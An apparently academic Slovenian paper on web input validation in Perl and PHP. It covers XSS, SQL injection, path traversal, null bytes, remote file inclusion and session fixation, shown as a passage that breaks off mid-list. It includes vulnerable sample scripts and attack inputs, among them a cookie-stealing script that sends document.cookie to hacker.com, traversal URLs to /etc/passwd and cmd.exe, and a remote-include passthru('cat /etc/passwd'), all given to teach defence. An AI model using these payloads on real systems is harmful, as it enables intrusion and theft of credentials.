Preverjanje vhodnih podatkov v spletnih rešitvah s Perl in PHP

Ivan Verdonik
ivan.verdonik@siol.net, ivanverdonik@hotmail.com

Povzetek

Zlorabe v spletnih rešitvah so vedno pogostejše, saj klasični požarni zid navadno dobro varuje lokalno omrežje podjetja pred napadalci in se ti zato usmerjajo na nove cilje. Požarni zidovi za spletne aplikacije še niso toliko v uporabi, pa tudi povsem zanesljivi niso. Zaradi tega moramo pri programiranju spletnih rešitev uporabljati varnostne mehanizme, ki jih ponujajo orodja za izdelavo aplikacij sama. V prispevku smo se usmerili na obdelavo varnosti spletnih rešitev v programskih jezikih Perl in PHP, ki se pogosto uporabljata v ta namen. Poleg tega bomo pokazali nekatere splošne spletne ranljivosti, ki so značilne za vsa orodja. Z varnostnega vidika je najpomembnejša obravnava vhodnih podatkov [8].

Abstract

Input data validation in web applications with Perl and PHP

Attacks on web applications are increasing rapidly, because company intranet is sufficiently protected by classic firewalls therefore hackers focus on new areas. Web application firewalls are available, but they are not widely used and they are not always reliable. Therefore, security mechanisms, which are already provided in programming languages should be applied when programming web application. We must also follow security guidelines. The paper focuses mostly on security issues and protection of Perl and PHP programming languages, but to a certain extent also on some other common web vulnerabilities. From web application security viewpoint, the input data validation is the most critical [8] issue.

1 Uvod

Spletne aplikacije temeljijo na znani arhitekturi MVC (Model View Controller): uporabniški odjemalec je spletni brskalnik, vmesni člen je aplikacijski strežnik, v katerem se nahaja programska logika, tretji člen pa je podatkovna zbirka.

Spletne rešitve so vse bolj razširjene in podjetja jim posvečajo vedno več pozornosti, tako tista, ki ponujajo orodja za njihovo izdelavo, kot druga, ki spletne rešitve programirajo in tretja, ki jih uporabljajo. Zaradi takšne razširjenosti, pa tudi zato, ker njihova varnost še ni povsem dorečena, so spletne rešitve priljubljena tarča hekerjev.

Ne glede na uporabljeno tehnologijo (operacijski sistem, spletni strežnik, aplikacijski strežnik, programski jezik, SUPB – sistem za upravljanje podatkovnih baz) obstaja več tipov spletnih napadov, ki ogrožajo vse: skripte med spletnimi mesti (XSS – Cross-Site Scripting), SQL vrivanje (SQL Injection), premikanje med imeniki (path traversal), URL kodiranje, spreminjanje HTML form (Form Tampering), kanonikalizacija (Canonicalization), klici funkcij operacijskega sistema ipd. [1]

Praktično vse te ranljivosti spletnih rešitev izvirajo iz ne dovolj preverjenih uporabniških vnosov. Preverjanje ni preprosto, k sreči pa je v večini programskih jezikov, ki se uporabljajo za programiranje spletnih rešitev, na razpolago več uporabniških funkcij, s katerimi brez prevelikega napora zmanjšamo možnosti zlorab [5].

Spletno rešitev lahko v celoti izdelamo z brezplačnimi orodji (in takšnih je največ), zato smo se odločili za predstavitev varnostnih groženj in zaščite pred njimi, v zelo razširjenemu Perlu ter posebej PHP-ju. Sicer obstaja še kar nekaj drugih skriptnih jezikov za ta namen (npr. Tcl/Tk, Python, Ruby idr.), ki pa zaenkrat še niso tako uveljavljeni.

2 Kratek uvod v regularne izraze

Regularni izrazi so jezik končnih avtomatov, kot so definirani v teoriji računalništva. V pričujočem članku jih veliko uporabljamo. Njihova sintaksa je v obeh jezikih, ki ju obravnavamo (Perl in PHP) enaka. Z njimi opisujemo znakovne nize in nad nizi izvajamo operacije iskanja in zamenjave. Sestavljeni so iz vzorcev običajnih znakov in metaznakov. Vzorec je lahko sestavljen iz enega ali več znakov. En alfanumerični znak predstavlja samega sebe, znak pike (.) predstavlja poljuben znak (z izjemo znaka za novo vrstico).

Znaka za oglati oklepaj vsebujeta seznam znakov (npr. /[1234]/ pomeni, da mora v nizu biti znak 1, ali 2, ali 3, ali 4). Če je vzorec sestavljen iz več znakov, uporabljamo tudi »sidrenje« (anchoring) vzorcev, mogoče pa je tudi iskati po metaznakih samih s pomočjo leve poševnice (npr. /\.\[\]/ niz mora vsebovati podniz .\[]). Z uporabo pomišljaja lahko prikažemo razpone (npr. /[0-9]/ niz mora vsebovati eno od cifer, /[A-Za-z0-9_]/ vsebuje enega od alfanumeričnih znakov ...). Poleg tega imamo bližnjice za najpomembnejše skupine znakov in njim inverzne množice znakov (npr. \d cifre, \D ne-cifre, \w besede, \W ne-besede, \s tabulatorji, znaki za novo vrstico, presledki in \S nasprotje tega).

Vzorci običajno vsebujejo več znakov, ne le enega. Povežemo jih z združevanjem v zaporedje, alternativnimi možnostmi, navajanjem števila ponovitev enega ali več znakov. Nadalje lahko z okroglimi zaklepaji določimo prednost ali pa jih uporabimo za pomnjenje. Zaporedje znakov podamo preprosto tako, da navedemo več znakov (ali njihovih skupin) neposredno enega za drugim (npr. /113/ ta niz mora vsebovati število 113, /Windows 5\.0/ ta pa Windows 5.0 ...).

Alternativno izbiranje med možnostmi podamo z znakom | (npr. niz mora vsebovati enega od osebnih zaimkov /jaz|ti|on|ona|ono|mi|me|vi|ve|oni|one/).

Za podajanje števila ponavljanj znaka ali več znakov uporabljamo naslednje oznake:

? nič ali en znak
* nič ali več
\+ eden ali več
{m,n} od *m* do *n* ponavljanj
{m,} *m* ali več ponavljanj
{,n} največ *n* ponovitev
{i} točno *i* ponovitev

Npr. /ha+ha/ niz vsebuje nekaj od haha, haaha, haaaha ..., /ha{3}ha/ niz vsebuje haaaha.

Okrogli oklepaji se lahko uporabljajo kot pomnilnik kje naprej v vzorcu (npr. /(spredaj) (zadaj) obratno \2\1/ vsebuje niz: spredaj zadaj obratno zadaj spredaj).

S sidrenjem vzorcev je mogoče opredeliti mesto vzorca znotraj niza (npr: /^Ivan Caf/ pomeni, da mora na začetku niza biti podniz Ivan Caf, /dipl\.ing\.$/ pa da je tik pred koncem niz dipl. ing.).

V regularnih izrazih obstaja operator ujemanja (match operator), ki vrne vrednosti resnično ali neresnično glede na to, ali je regularni izraz vsebovan v nizu ali ne. Označen je kar z /regularni izraz/, pa tudi z m/regularni izraz/ ali m#regularni izraz# ali m{regularni izraz}.

Nadalje obstaja operator = ~, ki veže rezultat operatorja ujemanja na podano spremenljivko (npr. if ($odlocitev = ~ /[Dd]/) then ...), temu nasproten operator je ! ~ (npr. if ($odlocitev !~ /[Nn]/) then ...).

Naslednji je operator zamenjave (substitucije) podanega vzorca z regularnim izrazom. Sintaksa je: s/vzorec/nadomestni_niz/ (npr. s/Windows/Linux/ zamenja podniz Windows z nizom Linux, $jezik = ~ s/C/Perl/ v spremenljivki $jezik zamenja znak C z nizom Perl, v tem načinu izvede samo eno zamenjavo). Če hočemo, da zamenja vse pojavitve vzorca, moramo na koncu dodati smernico *g* (npr. $jezik = ~ s/C/Perl/g).

Povedali smo že, da spremenljivke \1, \2, ... hranijo podnize, ki se nahajajo v regularnem izrazu znotraj okroglih oklepajev. Vendar jih na ta način lahko uporabljamo samo v njegovem okviru. Če hočemo te podnize uporabljati naprej v kodi, jih lahko beremo v spremenljivkah $1, $2, ... (npr. $ime = ~ m/Od:(.*)/; $posiljatelj = $1; ...).

Več informacij o regularnih izrazih najdete v [10].

3 Perl in Perl CGI

Perl (Practical Extraction and Report Language) je splošni namenski programski jezik, ki se izvaja v okviru navideznega stroja. Zaradi tega deluje na vseh platformah, za katere obstaja tak stroj. Ti obstajajo za tako rekoč vse bolj znane operacijske sisteme, predvsem za različice Unixa in Linuxa, pa tudi za Windows. Perl je enostaven za uporabo in omogoča tako proceduralno programiranje kot tudi objektno usmerjeno, zanj pa obstaja tudi velika (brezplačna) zbirka modulov [11]. Perl je izpeljan in izdelan iz programskega jezika C (vendar nima kazalcev) in vsebuje zmožnosti nekaterih orodij iz lupine operacijskih sistemov Unix (npr. sed in awk).

Perl in ničelni znak

Prva varnostna pomanjkljivost v Perlu je nedorečena obravnava ničelnega znaka (to je znak Đ0 oziroma %00). Kot vemo, ta znak v programskem jeziku C predstavlja konec niza. V Perlu bi ta znak (ne smemo ga zamenjati z znakom 0 ali presledkom) moral biti takšen kot vsak drug znak, kar pa ni vedno res, saj je Perlov interpreter programiran s C. Tako je mogoče z znakom \0 krajšati nize (in prek njih ukaze), obenem pa niz 'niz\0' ni enak nizu 'niz'. Iz tega izvira kar nekaj varnostnih problemov [6].

Primer krajšanja nizov:

V svetovnem spletu je več aplikacij, ki kot parameter sprejmejo spletno stran, pri čemer privzamejo, da je njihova končnica html (in jo dodajo sami). Poenostavljeni primer takšnega programa, ki prikaže podano spletno stran v brskalniku, je:

testIzpisCgi.pl

```
#!/usr/bin/perl

use CGI;
$poizvedba = new CGI;
print $poizvedba->header;
$stran = $poizvedba->param('spletnaStran');

open (FILE, "<$stran.html");
while (<FILE>) {print "$_" ;}
close (FILE);
```

Zgornji program deluje v redu, če za parameter spletnaStran podamo dejansko html datoteko npr.test.html:

```
http://localhost/../scriptstestIzpisCgi.pl? spletnaStran=/
inetpub/wwwroot/test
```

V tem primeru je rezultat takšen, kot ga je razvijalec načrtoval. Toda če podamo npr.:

```
http://localhost/../scripts/testIzpisCgi.pl?
spletnaStran=testIzpisCgi.pl%00
```

skript prikaže svojo lastno kodo (to je v tem primeru program, ki izpiše samega sebe), če mu podamo kateri drugi skript, pa seveda izpiše tudi njegovo kodo. Znak %00 je URL kodirana oblika znaka \0. Problem je v tem, da Perl pri tem, ko odpira z nizom podano datoteko, upošteva le del niza pred tem znakom. Na ta način bi si napadalec na operacijskih sistemih Unix/Linux lahko izpisal datoteko /etc/passwd. Gesla v tej datoteki so šifrirana, vendar imajo pogosto premajhno entropijo. Zato jih lahko, če jo napadalec pridobi v posest, odkrije s programom za ugibanje gesel. Takšna programa sta na primer LC5 in John the Ripper.

Ta problem v Perlu obstaja povsod, kjer v kodi vhodnim podatkom dodajamo pripone.

Težave povzroča tudi dejstvo, da je niz 'niz\0' včasih enakovreden nizu 'niz', včasih pa ne. Posebej pri primerjanju v pogojnih stavkih, sta ta dva niza različna.

Težav z ničelnimi znaki se v Perlu enostavno ognemo tako, da iz vhodnih podatkov odstranimo vse ničelne znake, to je mogoče storiti z naslednjo substitucijo:

```
$vhodni_podatek =~ s/\0//g;
```

Težave s poševnicami

Pogost varnostni problem so tudi poševnice. Po priporočilih konzorcija W3C so znaki s posebnim pomenom za Linux/Unix lupino operacijskega sistema:

```
& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r
```

Kadar se v vhodu v program pojavijo ti znaki, jih moramo predstaviti z ubežnico (escape), sicer ohranijo svoj posebni pomen (Npr. > preusmeritev, \n nova vrstica ...). V ta namen nad vhodnimi podatki uporabimo naslednjo substitucijo:

```
$vhodni_podatek =
~ s/([\&;\`\'\\\|\"*?~<>^\(\)\[\]\{\}\$\n\r])/\\$1/g;
```

Tako postanejo običajni znaki brez posebnega pomena. Če programerji na to pozabijo, je posledica v najboljšem primeru nepravilno delovanje, v slabem pa varnostne pomanjkljivosti, kot so razkritje vsebine občutljivih datotek, SQL vrivanje itd. Predvsem se pogosto zgodi, da ti znaki sicer so predstavljeni z ubežnico, vendar ne tudi znak leve poševnice (\ - backslash) [6].

Če ne uporabimo ubežnice za leve poševnice, zlonamernemu uporabniku ne moremo preprečiti dostopa do imenikov in datotek z naslednjo substitucijo:

```
$vhodni_podatek =~ s/\.\.//g;
```

Naš namen je, da iz vhodnega podatka odstranimo znak za premik navzgor po strukturi datotečnega sistema (..). Če npr. napadalec za ime datoteke poda:

```
/usr/tmp/../../etc/passwd
```

to postane:

```
/usr/tmp///etc/passwd
```

s čemer napadalec ne doseže želenega rezultata, ker je dovoljeno podati več zaporednih poševnic in se tako ne more dvigniti iz trenutnega imenika navzgor. Toda če leva poševnica ni podana z ubežnico, je zgornji varnostni ukrep mogoče zaobiti z naslednjim vnosom:

```
/usr/tmp/.\./.\./etc/passwd
```

Regularni izraz ne deluje zaradi leve poševnice, zato napadalcu njegov namen uspe.

Rešitev je tudi tu preprosta, paziti moramo, da tudi za levo poševnico uporabimo ubežni znak (torej tako \\ ).

Težave s cevmi

V Perlu imamo pri odpiranju datotek s stavkom open() možnost, da podamo ukazno vrstico kot vhod oziroma izhod. To je mogoče, če pred (izhod) ali za njo (vhod), dodamo znak |. Sintaksa je naslednja:

```
open (DATOTEKA, "|ukazna vrstica");
– odpre datoteko za pisanje
open (DATOTEKA, "ukazna vrstica|");
– odpre datoteko za branje
```

Primer programa za neposredno tiskanje na tiskalniku:

```
open (TISKALNIK, "|lpr");
print TISKALNIK  $podatki;
close TISKALNIK;
```

Primer izpisa vsebine trenutnega imenika:

```
$izpis = "dir|";
open (DATKA, $izpis);
while (<DATKA>)
{
   print $_,"\n";
}
close DATKA;
```

Napadalec pridobi dostop do ukazne vrstice, če poda spremenljivki $datoteka spodnjo vrednost [8]:

```
$datoteka = "c:\\winnt\\system32\\cmd.exe|";
open(DATKA, $datoteka);
while (<DATKA>)
{
   print $_,"\n";
}
close DATKA;
```

Zlorabam s pomočjo cevi se je mogoče preprosto izogniti, če pri odpiranju datotek s funkcijo open(), podamo znak '<' (branje),'>' (pisanje) ali '>>' (dodajanje). Primer je:

```
$datoteka = "c:\\winnt\\system32\\cmd.exe|";
open(DATKA, "<$datoteka");
```

Mogoče je tudi filtrirati znak za cev | z:

```
$vhod =~ s/(\|)/\\$1/g
```

Veljavnost znakov v zapisu UTF-8

UTF-8 kodiranje omogoča prikaz tako rekoč vseh obstoječih znakov, predvsem znakov iz abeced naravnih jezikov. Vrsto kodiranja v dokumentih XML, XHTML in HTML določimo:

1. z uporabo parametra 'charset' v glavi HTTP:
   Content-Type: text/html; charset=UTF-8
2. za XML (in XHTML) z psevdo atributom 'encoding':
   <?xml version="1.0" encoding="UTF-8" ?>
3. v HTML uporabimo <meta> oznako v <head>:
   <meta http-equiv="Content-Type"
   content="text/html;charset=utf-8" >

Kadar naša aplikacija s formami sprejema UTF-8 kodirane znake, jih preverimo z naslednjim testom:

```
$veljaven_vnos =~
m/^([\x09\x0A\x0D\x20-\x7E]
   # ASCII
  | [\xC2-\xDF][\x80-\xBF]
   # 2 bajtna ne-predolga oblika
  |  \xE0[\xA0-\xBF][\x80-\xBF]
   # izključimo predolge oblike
  | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}
   # neposredne 3 bajtne oblike
  |  \xED[\x80-\x9F][\x80-\xBF]
   # izločimo nadomestke
  |  \xF0[\x90-\xBF][\x80-\xBF]{2}
   # nivoji 1-3
  | [\xF1-\xF3][\x80-\xBF]{3}
   # nivoji 4-15
   |  \xF4[\x80-\x8F][\x80-\xBF]{2}
   # nivo 16
   )*$/x;
```

Če je vnos regularen, je rezultat 'true', drugače pa 'false'. Če tega ne naredimo, lahko napadalci tvorijo nelegalna UTF-8 kodiranja na dva načina:

- UTF-8 zaporedje za posamezen znak je lahko daljše, kot je potrebno;
- UTF-8 zaporedje lahko vsebuje neveljavne bajte, ki niso v skladu z nobenim od formatov.

Spletni strežniki in spletne aplikacije praviloma izvajajo več stopenj obdelave vhodnih podatkov, od njihovega zaporedja pa je lahko odvisna varnost. Zaporedje je sestavljeno iz dekodiranja URL, ki mu sledi dekodiranje UTF-8, vse skupaj pa je premešano še z raznimi varnostnimi preizkusi. Primer nevarnosti je, če npr. aplikacija testira, ali vhod vsebuje dve piki (.. – direktorij navzgor) pred dekodiranjem UTF-8, je mogoče dve piki vstaviti s "predolgim" formatom UTF-8. Tudi če je to preverjeno, imamo npr. za predstavitev znaka pike (AE) še pet drugih (predolgih) predstavitev (C0 AE, E0 80 AE, F0 80 80 AE, F0 80 80 80 AE in FC 80 80 80 80 AE). Če nadalje pogledamo predstavitev C0 AE, morata biti najpomembnejša bita drugega bajta 10, ker tega nekatere aplikacije ne preverjajo, je mogoče tudi "00", "01" in "11" in so tako dodatne možnosti predstavitve še C0 2E, C0 5E in C0 FE. Stvari so še bolj zapletene glede na dejstvo, da je mogoče podatke poslati s protokolom HTTP v več oblikah, npr. v surovi, to je brez vsakega kodiranja URL, kar pomeni pošiljanje ne-znakov ASCII, v poti, povpraševanju in telesu, kar sicer ni v skladu s standardom HTTP, vendar jih večina HTTP strežnikov vseeno sprejme. Veljavno kodiranje URL zahteva, da je vsak ne-ASCII znak URL kodiran (to bi pomenilo, da moramo zgornji C0 AE kodirati kot %C0%AE). Pri neveljavnem kodiranju URL so nekatera heksadecimalna števila zamenjana z neheksadecimalnimi števili, rezultat pa se ponekod interpretira tako kot izvorni (npr. %C0 se interpretira kot število znaka – ('C'-'A'+10)*16+('0'-'0') = 192, %M0 pa kot ('M'-'A'+10)*16+('0'-'0')=448, kar pa se prisiljeno za predstavitev z enim bajtom prav tako pretvori v 192 (osem najmanj pomembnih bitov)). Torej če algoritem sprejme neheksadecimalne znake (kot je 'M'), sta varianti za %C0 tudi %M0 in %BG.

Če napadalcu spodnji napad ne uspe:

```
http://streznik/cgi-bin/napaden.pl?vnos=../../winnt/system32/cmd.exe?+/c+dir+c:\
```

lahko poskusi še z naslednjim URL kodiranjem napada:

```
http://streznik/cgi-bin/napaden.pl?vnos=..%2F../winnt/system32/cmd.exe?+/c+dir+c:\
```

ter še s štirinajstimi različnimi Unicode kodiranji napada [2].

Preprečevanje napadov s skripti med spletnimi mesti

Skripti med spletnimi mesti (Croos-Site Scripting – XSS) so pogoste varnostne težave pri spletnih rešitvah (ki jih razvijalci zaradi časovnih rokov in zahtevnosti pogosto prezrejo) [3]. Spletišče je ranljivo, če spletna rešitev prikaže vsebino, ki jo je vnesel uporabnik, in ne preveri, ali so v vsebini zlonamerne skriptne oznake. Tako navadno zlonamerni uporabniki napadajo druge uporabnike prek spletnih mest tretjih oseb.

Primer ranljivega programa:

```
#!/usr/bin/perl
use CGI;

my $cgi = CGI->new();
my $vnos = $cgi->param('vnosno_polje');

print $cgi->header();
print "Vnesli ste $vnos";
```

Napadalec lahko v parameter 'vnosno_polje' vpiše zlonamerno (Javascript, pa tudi HTML) kodo. Na primer:

```
Hvala za va( piškotek
<script>document.location='http://www.hacker.com/cgi-bin/cookie.cgi? ' + document.cookie</script>
```

Ko nato drug uporabnik naloži to stran v svoj brskalnik, postane napadalčeva žrtev (uporabnikov piškotek pridobi heker in ga nemara lahko uporabi za ugrabitev seje). Napaka v tem skriptu je v tem, da program ne preverja uporabnikovega vnosa, ampak izpiše vse, kar je bilo vneseno.

Napadi so mogoči tudi neposredno prek vrstice URL [3]:

```
http://www.nevarno.si/ranljiv.pl?vnosno_polje=<script>alert(document.cookie)</script>
```

Če napadalec navede neprevidnega uporabnika, da izbere takšno povezavo, mu bo njegov brskalnik prikazal trenutno množico piškotkov. Napadalec lah-

ko poda tudi mnogo nevarnejšo kodo – kodo za krajo gesel, preusmeritve na zlonamerna spletna mesta (npr. trojanske spletne banke) ...

Pri spletnih rešitvah, ki temeljijo na Perl CGI in mod_perl, zmanjšamo nevarnost skript med spletnimi mesti tako, da opravimo ustrezno preverjanje vhodnih podatkov, kot npr.:

```
$preverjen_vnos =~ s/[^A-Za-z0-9 ]*/ /g;
```

Tako ohranimo samo velike in male črke, števila in presledke. To je zanesljiva zaščita, vendar je pri nekaterih aplikacijah to prehuda omejitev. V takih primerih (kadar so potrebni tudi znaki s posebnim pomenom) je odstranjevanje zlonamernih elementov iz vhodnih podatkov mnogo težje.

Druga možnost je, da preden prikažemo vsebino, oznake HTML predstavimo z ubežnicami. Za ta namen obstaja perl modul HTML::Entities s funkcijo HTML;;Entities::encode(), ki pretvori znake HTML v reference entitet HTML. Npr. znak '<' pretvori v '<', '>' v '>', "" v '"'

Zgornji program zavarujemo z zamenjavo oznak HTML v reference entitet HTML, z omenjenim modulom, kot je podan spodaj:

```
#!/usr/bin/perl
use CGI;
use HTML::Entities;

my $cgi = CGI->new();
my $vnos = $cgi->param('vnosno_polje');

print $cgi->header();
print "Vnesli ste",
HTML::Entities::encode($vnos);
```

Če uporabljamo mod_perl (tj. Perl, povezan s spletnim strežnikom Apache, posebej namenjen za spletne aplikacije), je za programerje še bolje poskrbljeno, saj imajo poleg zgornjih rešitev tudi modul, posebej namenjen za preverjanje uporabniških vnosov. Imenuje se Apache::TaintRequest. Primer njegove uporabe:

```
use Apache::TaintRequest ();
    sub handler {
    my $r = shift;
    $r = Apache::TaintRequest->new($r);
    my $niz = $r->query_string();
    $r->print($niz);
    # html oznake so prikazane z ube'nicami
    ...
    }
```

Dobra preventiva pred temi napadi je tudi, če v brskalniku izključimo skriptne jezike (Javascript, JScript, VBScript ...).

Preprečevanje SQL vrivanja

Kadar spletna aplikacija dostopa do podatkovne zbirke na osnovi uporabnikovega vnosa, lahko napadalec z ustrezno prirejenim vnosom zlorabi podatkovno zbirko. Takšne napade imenujemo SQL vrivanje (SQL Injection) [3]. Ranljivost ponovno izvira iz ne dovolj preverjenih vhodnih podatkov. Ker je težko odkriti vse nevarne konstrukte, je bolje odstraniti vse, razen dovoljenih, kar pa je včasih v praksi težko storiti. Primer je lahko naslov elektronske pošte. Dovolimo samo male in velike črke, cifre, afno, piko, pomišljaj in podčrtaj. Toda ker imajo nekateri dokaj nenavadne naslove (ki vključujejo npr. znake ', + itd.), so pri takšnem preverjanju izločeni, kar lahko za lastnika spletišča pomeni ekonomsko škodo.

Oglejmo si primer za SQL vrivanje ranljive kode.

```
#!/usr/bin/perl
use CGI;
my $cgi = CGI->new();
my $ime = $cgi->param('vnosno_polje1');
my $geslo = $cgi->param('vnosno_polje2');
my $sth = $dbh->prepare
("SELECT * FROM uporabniki WHERE
    uporabnik = $ime and up_geslo = $geslo ");
$sth->execute();
```

Če napadalec za $ime poda npr. »' ' or 1=1« in isto za $geslo, bo program odvisno od nadaljnje kode izpisal prvo vrstico iz tabele uporabniki ali celo vse vrstice. V tem primeru je dejanski SQL stavek, ki se izvede:

```
SELECT * FROM uporabniki WHERE  uporabnik = ' ' or 1 = 1
and up_geslo = ' ' or 1 = 1
```

Na podlagi tega principa je mogočih veliko zlorab. Z znakom - - je mogoče krajšati stavke SQL (ta znak namreč pri večini podatkovnih zbirk predstavlja znak

za komentar). Z znakom ; pa je mogoče dodajati dodatne SQL stavke.

Zaščito močno okrepimo, če za spremenljivke uporabimo nameščanje (placeholder).

Zgornji primer bi spremenili v:

```
#!/usr/bin/perl
use CGI;
my $cgi = CGI->new();
my $ime = $cgi->param('vnosno_polje1');
my $geslo = $cgi->param('vnosno_polje2');
my $sth = $dbh->prepare
("SELECT * FROM uporabniki WHERE
      uporabnik = ? and up_geslo = ? ");
$sth->execute($ime, $geslo);
```

Če napadalec npr. za $ime in $geslo ponovno poda »' ' or 1=1«, je stavek SQL, ki se dejansko izvede:

```
SELECT * FROM uporabniki WHERE uporabnik = '' or 1=1'
and up_geslo = '' or 1=1'
```

in tako ne doseže svojega namena.

Za nadaljnje izboljšanje zaščite pred vrivanjem SQL je kot pri prejšnjih sekcijah treba vse znake s posebnim pomenom predstaviti z ubežnico.

V podatkovni zbirki MySQL za ta namen obstaja funkcija:

```
mysql_real_escape_string()
```

v Perlu pa metoda DBD:

```
$dbh->quote($stavek).
```

K boljši varnosti pripomore tudi, če je aplikacija zasnovana tako, da so opozorila vidna samo skrbniku, ne pa tudi uporabnikom. Zlonamerni uporabnik tako ne more spoznati strukture podatkovne zbirke. Če ni tako, lahko napadalec s posebej sestavljenimi (napačnimi) vnosi sondira zbirko.

4 PHP

Globalne spremenljivke

V različicah PHP pred 4.2.0 je v inicializacijski datoteki php.ini direktiva register_globals po tovarniških nastavitvah nastavljena na ON. V tem primeru PHP ne preverja, kje je bila določena spremenljivka inicializirana [7]. Zaradi tega lahko (zlonamerni) uporabnik sam nastavi njeno vrednost v URL vrstici ali vnosnem polju. Za ilustracijo poglejmo skript:

```
# slabo.php
<?php
    if ( pooblascen_uporabnik($uporabnik, $geslo))
    { $dovoljeno = "D"; }
    if ($dovoljeno  = = "D" )
    { echo $obcutljivi_podatek; }
?>
```

Problem s tem skriptom je, da je mogoče spremenljivko $dovoljeno nastaviti na "D" v vrstici URL:

http://www.slab.sislabo.php?uporabnik=peter& geslo= skrivno&dovoljeno=D

V takem primeru bi se $obcutljiv_podatek izpisal ne glede na to, ali je uporabnik pooblaščen ali ne. Težavo rešimo tudi, če vse spremenljivke v skriptu inicializiramo, preden jih uporabimo. Npr.:

```
# dobro.php
<?php
    $uporabnik = $_GET["uporabnik"];
    $geslo = $_GET["geslo"];
    $dovoljeno = "N";
    if ( pooblascen_uporabnik($uporabnik, $geslo))
    { $dovoljeno = "D:; }
    if($dovoljeno = = "D" )
    { echo $obcutljivi_podatek; }
?>
```

Aplikacijo je mogoče razvijati tudi z direktivo error_reporting E_ALL, vendar je najlaže izključiti register_globals (oziroma ga pustiti izključenega) [7].

Vključevanje datotek z medmrežja

Kadar skripte vsebujejo kodo, kot je:

```
<?php
    if (!($fd = fopen("$datka","r"))
    echo("Ne morem odpreti datoteke: $datka<BR>\n");
 ?>
```

in napadalec uspe nastaviti spremenljivko $datka na vrednost /etc/passwd, bo ta program mogoče izpisal datoteko z gesli. Mogoči pa so tudi manj pričakovani napadi, ki izvirajo iz vključevanja datotek z oddaljenih lokacij [7]. Poglejmo skript:

```
<?php
    include($imenik_knjiznic."/knjiznica1.php");
 ?>
```

Funkcija include() omogoča dostop ne samo do lokalnih knjižnic, marveč tudi do skript na spletiščih tretjih oseb. Če v zgornjem skriptu napadalcu uspe nastaviti spremenljivko $imenik_knjiznic npr. na http://napadalec.com, lahko tam ustvari svoj PHP skript:

```
<?php
    passthru("cat /etc/passwd");
    ?>
```

in ga prav tako poimenuje knjiznica1.php. Tako se bo izvedel napadalčev skript in prav tako izpisal datoteko z gesli. Napadalec mora paziti le, da na njegovem spletišču ni mogoče izvajati datotek tipa php, sicer se skript izvede na njegovem spletnem mestu.

Nalaganje uporabnikovih datotek

PHP omogoča uporabnikom, da nalagajo svoje datoteke na spletna mesta. Pri tem uporabljamo HTML FORM element (z ustreznimi INPUT elementi). Primer takšne kode HTML:

```
<FORM METHOD="POST" ACTION="skript.php"
ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="datka">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VAL-
UE="2048">
<INPUT TYPE="SUBMIT">
</FORM>
```

Uporabnik lahko poda datoteko, ki se naloži na spletno mesto. Posebnost pri tem je, da se naloži na disk, preden jo PHP pretolmači [7]. Preveri samo, če ni predolga glede na dolžino, podano v formi, in dolžino, podano v nastavitvah php.ini. Shrani se v začasni imenik (npr. /tmp) z naključno določenim imenom. PHP nato potrebuje podatke o naloženi datoteki, da bi jo lahko procesiral. To doseže na dva načina, eden je v uporabi že od PHP različice 3, drugi pa je nastal, da bi odpravili varnostne probleme, povezane s prvim (ki pa ga programerji še vedno uporabljajo). Pri tem prvem načinu PHP priredi štirim globalnim spremenljivkam naslednje vrednosti (primer za zgornjo formo):

```
$datka = "Ime datoteke na strežniku npr. /tmp/phpdfAt3e2 "
$datka_size = "Dolžina datoteke v bajtih npr. 2048"
$datka_name = "Originalno ime datoteke na uporabnikovem
računalniku npr: c:\\temp\\datka.txt"
$datka_type = "Mime tip naložene datoteke npr. "text/plain"
```

PHP nato nadaljuje s procesiranjem datoteke, katere ime je podano v spremenljivki $datka. Pri tem se pozablja, da lahko to spremenljivko določi napadalec, npr.:

```
http://ranljivo_mesto/skript.php?datka=/etc
passwd&datka_size=10240&datka_type=text/
plain&datka_name=datka.txt
```

V tem primeru imajo te globalne spremenljivke naslednje vrednosti (nastavili bi jih lahko tudi s formo HTML z metodo POST):

```
$datka = "/etc/passwd"
$datka_size = 2048
$datka_type = "text/plain"
$datka_name = "datka.txt"
```

Skript skript.php bi nato verjetno prikazal vsebino datoteke z gesli. Kot vidimo, lahko napadalec namesto da bi naložil svojo datoteko, prevara spletno mesto PHP tako, da ta obdela svojo lastno (občutljivo) datoteko.

PHP rešuje ta problem s funkcijama:

1. bool **move_uploaded_file** (string ime_datoteke, string destinacija). S to funkcijo preverimo, če je datoteka, podana s parametrom ime_datoteke, veljavno naložena (da je naložena s HTTP POST mehanizmom). V tem primeru jo prenesemo v datoteko, določeno z nizom 'destinacija'.
2. bool **is_uploaded_file** (string ime_datoteke). Ta funkcija samo preveri, ali je datoteka podana s parametrom 'ime_datoteke', res naložena prek mehanizma HTTP POST.

Seje

Ker protokol HTTP kot temelj svetovnega spleta nima stanja (ne hrani pretekle dejavnosti uporabnika), moramo v primeru, da uporabnik dostopa do več dokumentov v isti aplikaciji, poskrbeti za hranjenje podatkov v zvezi z dejavnostjo uporabnikov [4]. To se navadno rešuje s piškotki, ki se hranijo na uporabnikovem računalniku. Druga možnost so skrita polja v formah (... <input type='hidden' name='seja' value='stanje' /

>. S PHP 4.0 in naprej je za seje še bolje poskrbljeno. Večina podatkov o uporabnikovem stanju (oziroma seji) je shranjena na spletnem strežniku, na uporabnikovi strani je le preprost piškotek (v njem je samo oznaka seje PHPSESSID). Obstaja pa tudi možnost, da oznako seje prenašamo z URL-ji.

Glede na to, da je PHPSESSID ključ do uporabnikove seje, ne sme priti v roke drugim uporabnikom (napadalcem). Ti se ga včasih vseeno polastijo in sicer z ugibanjem, zajetjem piškotka ali fiksiranjem [7]. S pomočjo tega ključa lahko napadalec ugrabi sejo legalnega uporabnika in jo zlorabi. Napada s pomočjo fiksiranja se ubranimo tako, da generiramo novo oznako, kadar uporabnik poda oznako seje, ki ni aktivna [4]. To lahko storimo z naslednjo kodo:

```
<?php
session_start();
if (!isset($_SESSION['initiated']))
{
session_regenerate_id();
$_SESSION['initiated'] = true;
}
?>
```

Klici zunanjih funkcij

Kadar v svoji spletni rešitvi uporabnikom omogočimo uporabo naslednjih zunanjih PHP funkcij:

1. string exec (string ukaz [, array &izhod [, int &return_var]]),
2. string system (string command [, int &return _var]),
3. void passthru (string ukaz [, int &return_var]),
4. operator levi črtici ' ' (backticks),
5. resource popen (string ukaz, string način),
6. funkcije require(), include(), eval() ter preg_ replace() z možnostjo 'e',

moramo uporabniške vnose obdelati s funkcijama [7]:

1. string escapeshellcmd(string ukaz),
